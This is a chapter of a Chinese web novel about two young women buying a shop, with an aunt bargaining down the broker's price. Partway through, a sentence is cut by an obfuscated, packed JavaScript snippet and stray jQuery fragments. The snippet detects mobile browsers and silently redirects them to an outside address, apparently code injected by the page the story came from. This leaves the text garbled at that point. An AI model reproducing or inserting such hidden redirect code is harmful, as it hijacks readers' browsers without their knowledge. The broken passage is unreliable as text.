只卖不租?谭月琬立马皱起眉头,“那卖价多少?”
陈六回:“若三日内能交付现钱,便按一千二百两银的价来,若三日后,便要一千五百两了。”
嚯!一间铺子竟这样贵?陶青禾吃惊地看着谭月琬。
谭月琬也被惊到,她的茶馆比这里还大些,岂不是更贵?这样贵的茶馆还被她糟蹋了好几年?
“铺子的老板在哪?可能再谈些价?”陶青禾问。
陈六挠挠头,一脸为难:“牙行有规矩,要替客人保密。”
这话说得委婉,二人倒也听懂了。约莫是防止买卖双方私下交易,因此两边都只能通过牙行来沟通。
陶青禾拉过谭月琬往旁边走,开口道:“价有些贵了,不过若咱们有心把铺子经营好,这地方倒正合适。”
谭月琬也点头,“我瞧着也是极好的,只是我也没做过这样大的买卖,不知这里的水分有多少。不若等我回家问问舅母?”
“这当然再好不过了。”陶青禾毫不犹豫应下,两人都没有经验,强买只有挨宰的份。若有长辈能给些参考意见,自然是极好的。
二人也不拖沓,只让陈六在这等一会儿,说是回家商量一番再给答复,便出了门去。
这两年周曼君将镖局的事务全部交给周正后,便在家莳花弄草。因此谭月琬才进去门,一眼便看到了人。
“舅母!”她喊。
周曼君正给花浇水,见到谭月琬带着人急匆匆往里跑,稀奇道:“这是从哪儿拐了个小姑娘回来?”
“这是青禾!”谭月琬气恼道。
“婶子好!冒昧上门打扰,还请您见谅。”陶青禾有些尴尬,空着手便往人家闯,可真是没礼貌。
周曼君瞧着小姑娘落落大方,也爽朗一笑,“咱家不讲那些虚礼,匆忙过来可是遇着事了?”
“哎呀!您快和我走,我俩正要买铺子呢!一千二百两是不是有些贵了?”谭月琬上前便拽着人,一股脑将事情说了出来。
“一千二百两?”周曼君立马瞪住她,乖乖,真是家里的亲姑娘!一个没看住,差点把家底败光了。
“我倒要看看哪里的铺子竟能卖出这样高的价?”周曼君捋起袖子,“带路!”
三人也不再多说,赶紧先出了门往铺子走去。一路上,谭月琬又把事情的来龙去脉一一说出。
“什么!你俩要合开铺子?”周曼君一个眼神飞刀便过去了,“若不是铺子价钱太贵,怕是开起来了我也不知道吧?”
谭月琬讪笑一声,“起先是想赁铺子来着。”
陶青禾也吃惊,这样大的事,这小娘子竟没和家里人商量。只是此时却帮着找补道:“我那几样吃食在茶馆倒还受欢迎,因此才生了这想法。”
周曼君是知道陶青禾的,谭月琬从某天开始嘴边便一直挂着这个名字。只是她并不拘着谭月琬交友,因此虽知晓陶青禾的事,却从未见过。
还有茶馆的那些曲子和吃食,她自然也是上了心的。笑话!自己花了大价钱买的铺子,还真能给谭月琬瞎倒捣鼓去了?
不过这二人胆子倒是大得很,竟有魄力想另开一间吃食铺子,倒有些她当年的风范!
心里思来想去,三人已经到了地方。陈六年纪也不大,见二人真带了长辈过来,此时颇有些不知所措。
周曼君见这三个小孩凑在一起,竟要做这一千多两的买卖,脸色简直一言难尽。
她问:“你是牙行的伙计?我知你们的规矩。不过这铺子价钱定得太高,不若你找个能做决断的人来,咱们再商量。”
陈六确实是刚入行,此时见对面找了长辈过来,又说了这些话。心下一咬牙,便道:“那您先等会儿,我去去就来。”
三人自是应下,待人走后,又在屋里转悠起来。
“这铺面和雅集轩倒有些相似,之前也是做茶馆生意的?”周曼君问。
“是呀舅母!确实是个小茶馆,只是不知为何倒了。”谭月琬回。
淮陵州南来北往的商人不少,大大小小的茶馆也多,因着她也不知这里是什么情况。
周曼君也不在意,只四处看看,瞧着屋内布局还行,用来开甜食铺子倒也使得。
三人只上下瞧了眼的时间,陈六便拉了个成年男子过来。那汉子也一身利落劲儿,未见着人先带了笑。只是等看到周曼君的时候,那笑却僵在脸上,人更是转了头便想走。
“陈大嘴!往哪儿跑呢?”周曼君喝道。
陈大嘴被喊得一激灵,立马停住脚,转身讪笑道:“周当家,您又要开茶馆了?”
脸上强撑着笑,陈大嘴心里却怕得慌,这周家镖局的前当家的,怎的没事又要做生意了?上回雅集轩的铺子足足砍了他四百两银钱,差点就要赔本!
周曼君哪里不知道他的想法,只顺着话道:“可不是嘛!雅集轩生意红火,可不得再赁个铺子?只是你们牙行也忒黑心了,这铺面也敢叫价一千二百两?”
陈大嘴心里这个后悔呀!就该先跟小侄问清楚情况再过来的,眼下被这番质问,只得嘴硬道:“这铺面位置好,进城出城都得经过这里,若不是铺子老板家中有难事,怕是轻易不会出手。”
周曼君并不搭话,只端着笑听他瞎编。
走镖之人手上少不得沾过血腥,陈大嘴被盯得心虚,声势更是弱了下来,只好道:“不过话又说回来,周当家的是回头客,既这般照顾我生意,自是要给您便宜些……”
见周曼君仍是不搭话,他试探道:“一千一百五十两如何?”
周曼君走到桌边坐下,才慢条斯理开口:“雅集轩才花了九百两,这铺子还比不得那边大,你敢要这么多?”
陈大嘴就知道她要提起此事!苦着脸解释道:“周当家的,雅集轩都多少年的事了!眼下便连山上长的野菜都贵上不少,如何能这样比较?”
周曼君点点头,颇为赞同他的说法,“倒也是,那这铺子便九百两卖我如何?”
……
陈大嘴听到九百两,心都颤了一下,哪有人这样还价的!
他叫苦连连,“周当家的,这价钱可卖不了,便是我们牙行不赚钱,也得一千一百两才行。”
周曼君只挑挑眉,手却在桌子上有一下没一下地敲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249602|188555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,屋里一时沉默住,竟让人有些发慌。
就在陈大嘴快要挨不住的时候,她才道:“本是小辈之间的事,我也不多砍价了。一千两如何?也让你家小辈赚上些。”
陈大嘴苦着脸看向周曼君,又瞧了眼满脸期盼的小侄,只得长叹一声,“如此,便按周当家说的办吧。”
双方这样说定,便一齐去牙行签契书走手续。铺子名头归在谭月琬那里,因此也是她出钱。
现下雅集轩每日流水上百两,她虽花了千两银子出去,却一点儿也不心疼,反而心里美滋滋的,这可是她出钱买下的铺子!
牙行办事利落,没多久流程便走完了。两人心心念念许久的铺子就这样到了手。谭月琬掩饰不住兴奋,一把拉着陶青禾,“咱们有铺子了!”
陶青禾也很高兴,有了这铺面,日后不管刮风下雨,便都不用担心了。
看着二人露出孩子心性,周曼君不由得一笑,又道:“既是合伙做生意,日后你二人遇到事情定要好生商量,万不能为了身外之物伤了和气。”
谭月琬拍拍胸口,“这是当然,舅母也太小瞧我了!”
陶青禾知道这位长辈是善意提醒,感激回道:“婶子不必担心,用人用钱的地方归月琬管,吃食方面归我管,定不会生出龃龉。”
虽年龄相仿,这姑娘却比月琬稳当许多。周曼君暗暗赞叹一句后,开口:“既如此,余下的事情便由你们自行商量,我可要回家去喽!”
三人一同走出牙行,又说了几句才分开。忙活一下午铺子的事,再回到摊子上,吃食也早已卖完。待收拾一番,母女三人又赶紧往家去。
一路上,陶青禾将铺子的情况仔细说给两人听,又道以后家里少不得需要做许多花酱,如此一来,人手便不够使,还得寻上合适的人来帮忙才行。
说到这里,三人不约而同想到了一人,丁慧娘。
“慧娘手脚利落,家里收拾得干净,寻她来帮忙定是可以!”赵丽娘有些激动。
“还是得问一下阿婶,不晓得春日里她可有别的事情要忙。”陶青禾思忖着。
“是的是的,回家便去问问!”赵丽娘连连点头。
“阿姐,往后我可以去铺子里做活儿嘛?”陶青苗眼巴巴地看着人。
陶青禾想了想,问:“你想去铺子里吗?”
陶青苗猛猛点头,“想!”
“那便去。”
得到肯定答复后,陶青苗心里简直乐开了花,州城这样热闹,她想一直在州城待着!
三人各有想法,却不妨碍回家的速度又快了一些。待回到家里,陶青禾便和赵丽娘一起去了李家。
此时天色已暗了下来,李家人刚吃完饭,丁慧娘才收拾完灶房。
咚咚咚!
门外一阵敲门声传来,随即又响起说话声,“慧娘!”
“来了!”丁慧娘放下手里的东西,赶紧去开门,“刚回来?”
她见二人裹得厚实,头上的帽子也还没摘,赶紧拉着人先进了屋。
刚坐下,赵丽娘迫不及待开口:“春日里你可有其他事情要忙?”